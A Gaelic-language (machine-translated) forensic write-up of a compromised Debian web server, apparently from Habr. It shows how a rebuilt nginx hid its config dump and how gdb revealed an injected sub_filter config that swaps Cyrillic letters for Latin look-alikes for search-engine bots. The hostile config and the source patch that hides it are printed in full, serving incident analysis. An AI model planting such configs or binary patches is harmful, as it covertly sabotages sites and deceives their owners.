Nuair nach eil ‘a’ co-ionann ri ‘a’. Ann an sgàth hack

Thachair sgeulachd a bha gu math mì-thlachdmhor dha fear de mo charaidean. Ach leis cho mì-thlachdmhor ‘s a bha e dha Mikhail, bha e a cheart cho tarraingeach dhomh.

Feumaidh mi ràdh gu bheil mo charaid gu math UNIX-user: is urrainn dha an siostam a stàladh e fhèin MySQL, PHP agus dèan roghainnean sìmplidh nginx.
Agus tha dusan no aon làrach-lìn gu leth aige a tha coisrigte ri innealan togail.

Tha aon de na làraich sin a tha coisrigte do shlabhraidh-slabhraidh na shuidhe gu daingeann ann am TOP nan einnseanan luirg. 'S e ath-sgrùdaire neo-mhalairteach a th' anns an làrach seo, ach dh'fhàs cuideigin cleachdte ri ionnsaigh a thoirt oirre. Sin DDoS, an uairsin feachd brùideil, an uairsin bidh iad a’ sgrìobhadh bheachdan drabasta agus a’ cur ana-cainnt chun aoigh agus chun RKN.
Gu h-obann, chaidh a h-uile càil sìos agus cha robh an socair seo math, agus mean air mhean thòisich an làrach a 'fàgail prìomh loidhnichean nan toraidhean rannsachaidh.

Nuair nach eil ‘a’ co-ionann ri ‘a’. Ann an sgàth hack

B’ e sin abairt, an uairsin sgeulachd an rianaire fhèin.

Bha e faisg air àm na leabaidh nuair a ghlaodh am fòn: “San, nach toir thu sùil air an t-seirbheisiche agam? Tha e coltach riumsa gun deach mo slaodadh, chan urrainn dhomh a dhearbhadh, ach chan eil am faireachdainn air mo fàgail airson an treas seachdain. Is dòcha gu bheil an t-àm ann dhomh leigheas fhaighinn airson paranoia?"

An dèidh sin bha deasbad leth-uair a thìde agus faodar geàrr-chunntas a dhèanamh air mar a leanas:

  • bha an talamh airson sealg gu math torrach;
  • dh'fhaodadh neach-ionnsaigh còraichean superuser fhaighinn;
  • bha an ionnsaigh (ma thachair e) air a chuimseachadh gu sònraichte air an làrach seo;
  • chaidh raointean trioblaid a cheartachadh agus cha leig thu leas ach tuigsinn an robh dol-a-steach sam bith ann;
  • cha b' urrainn don hack buaidh a thoirt air còd na làraich agus na stòran-dàta.

A thaobh a’ phuing mu dheireadh.

Nuair nach eil ‘a’ co-ionann ri ‘a’. Ann an sgàth hack

Is e dìreach an IP aghaidh geal a tha a’ coimhead a-mach don t-saoghal. Chan eil iomlaid eadar na backends agus an aghaidh ach a-mhàin http(s), tha na cleachdaichean / faclan-faire eadar-dhealaichte, cha deach iuchraichean atharrachadh. Air seòlaidhean glasa, tha a h-uile port ach a-mhàin 80/443 dùinte. Chan eil fios aig IPan backend geal ach do dhithis neach-cleachdaidh, air a bheil earbsa gu tur aig Mikhail.

Air a stàladh air an aghaidh Debian 9 agus mus tèid an gairm a dhèanamh, tha an siostam air a sgaradh bhon t-saoghal le balla-teine ​​​​a-muigh agus air a stad.

“Ceart gu leòr, thoir dhomh cothrom,” chuir mi romham cadal a chuir dheth airson uair a thìde. “Chì mi le mo shùilean fhèin.”

An seo agus nas fhaide air adhart:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

A ’coimhead airson hack a dh’ fhaodadh a bhith ann

Tòisichidh mi am frithealaiche, an toiseach a-steach modh-teasairginn. Bidh mi a’ cur suas na diosgan agus a’ tionndadh troimhe ùghdar-logaichean, eachdraidh, logaichean siostam, msaa, nuair as urrainnear, bidh mi a’ toirt sùil air cinn-latha cruthachadh fhaidhlichean, ged a tha mi a’ tuigsinn gum biodh sgàineadh àbhaisteach air “sguabadh suas” às a dhèidh fhèin, agus bha Misha mu thràth air “trodadh sìos” tòrr fhad ‘s a bha e a’ coimhead air a shon fhèin .

Bidh mi a’ tòiseachadh sa mhodh àbhaisteach, gun a bhith a’ tuigsinn fhathast dè a choimheadas mi, bidh mi a’ sgrùdadh nan configs. An toiseach, tha ùidh agam ann nginx oir, san fharsaingeachd, chan eil dad eile air an aghaidh ach e.
Tha na configs beag, le deagh structar ann an dusan faidhle, tha mi dìreach a’ coimhead troimhe cat'o aon air aon. Tha coltas gu bheil a h-uile dad glan, ach chan eil fios agad a-riamh an do chaill mi rudeigin gabhail a-steach, leig dhomh liosta slàn a dhèanamh:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Cha do thuig mi: “Càit a bheil an liostadh?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Tha dàrna ceist air a cur ris a’ cheist clàraidh: “Carson a tha seann dreach de nginx?”

A bharrachd air an sin, tha an siostam den bheachd gu bheil an dreach as ùire air a chuir a-steach:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Tha mi a' gairm:
- Misha, carson a choinnich thu a-rithist nginx?
- Dùisg, chan eil fios agam ciamar a nì mi seo!
- Ceart gu leòr, uill, rachaibh a chadal ...

Nginx tha e gu soilleir air ath-thogail agus tha toradh an liostadh a’ cleachdadh “-T” falaichte airson adhbhar. Chan eil teagamh sam bith ann tuilleadh mu bhith a’ slaodadh agus faodaidh tu dìreach gabhail ris agus (leis gu bheil Misha air fear ùr a chuir an àite an fhrithealaiche co-dhiù) smaoinich air an duilgheadas fhuasgladh.

Agus gu dearbh, bhon a fhuair cuideigin na còraichean freumh'ah, an uairsin chan eil e ciallach a dhèanamh ath-shuidheachadh siostam, agus bu neo-fheumail a bhi sealltuinn ciod a bha cearr an sin, ach an turas so thug feòrachas buaidh air cadal. Ciamar a gheibh sinn a-mach dè a bha iad airson a chuir am falach bhuainn?

Feuchaidh sinn ri lorg:

$ strace nginx -T

Bidh sinn a’ coimhead air, tha e soilleir nach eil loidhnichean gu leòr anns an trace a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Dìreach airson spòrs, dèanamaid coimeas eadar na co-dhùnaidhean.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Tha mi a 'smaoineachadh mar phàirt den chòd /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

air a thoirt gu cruth :

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

no

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

mar sin chan eil an liostadh le “-T” air a thaisbeanadh.

Ach ciamar a chì sinn ar config?

Ma tha mo bheachd ceart agus nach eil an duilgheadas ach anns a’ chaochladair ngx_dump_config feuchaidh sinn ri stàladh le bhith ga chleachdadh gdb, gu fortanach tha iuchair ann --le-cc-roghnach -g làthair agus an dòchas gum bi optimization -O2 cha dèan e cron oirnn. Aig an aon àm, leis nach eil fios agam ciamar ngx_dump_config dh’ fhaodadh a bhith air a phròiseasadh a-steach cùis 'T':, cha bhith sinn a 'gairm a' bhloc seo, ach stàlaich e a 'cleachdadh cùis 't':

Carson as urrainn dhut '-t' a bharrachd air '-T' a chleachdadhBacadh giollachd ma tha (ngx_dump_config) a’ tachairt a-staigh ma tha (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Gu dearbh, ma thèid an còd atharrachadh sa phàirt seo agus chan ann a-steach cùis 'T':, an uairsin chan obraich mo dhòigh.

Dèan deuchainn air nginx.confÀs deidh dha an duilgheadas fhuasgladh gu deuchainneach, chaidh a dhearbhadh gu bheil feum air rèiteachadh as ìsle airson an malware obrachadh nginx seòrsa:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Cleachdaidh sinn e airson giorrad san artaigil.

Cuir air bhog an debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Ceum air cheum:

  • suidheachadh briseadh anns a 'ghnìomh prìomh ()
  • cuir air bhog am prògram
  • atharraich luach a’ chaochladair a tha a’ dearbhadh toradh an config ngx_dump_config=1
  • lean air adhart / cuir crìoch air a’ phrògram

Mar a chì sinn, tha an fhìor config eadar-dhealaichte bhon fhear againn, bidh sinn a’ taghadh pìos dìosganach bhuaithe:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Bheir sinn sùil air na tha a’ tachairt an seo ann an òrdugh.

Air a dhearbhadh Àidseant cleachdaiche's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Tha duilleagan seirbheis air an dùnadh a-mach WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Agus dhaibhsan a tha a 'tighinn fon dà shuidheachadh gu h-àrd

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

anns an teacsa html- duilleagan ag atharrachadh 'O' air 'o' и 'A' air 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Tha sin ceart, is e an aon rud a tha mì-chinnteach 'a'!= 'a' dìreach mar 'o'!= 'o':

Nuair nach eil ‘a’ co-ionann ri ‘a’. Ann an sgàth hack

Mar sin, gheibh botaichean einnsean sgrùdaidh, an àite teacsa àbhaisteach 100% Cyrillic, sgudal atharraichte air a lagachadh le Laideann 'a' и 'o'. Chan eil mi airson bruidhinn mu mar a bheir seo buaidh air SEO, ach chan eil e coltach gum bi buaidh mhath aig a leithid de litrichean air suidheachadh anns na toraidhean rannsachaidh.

Dè as urrainn dhomh a ràdh, balaich le mac-meanmna.

iomraidhean

Debugging le GDB
gdb(1) - duilleag fear Linux
strace (1) - duilleag fear Linux
Nginx - Modal ngx_http_sub_module
Mu dheidhinn sàibh, sàibh-slabhraidh agus sàibh dealain

Source: www.habr.com

Cuir beachd ann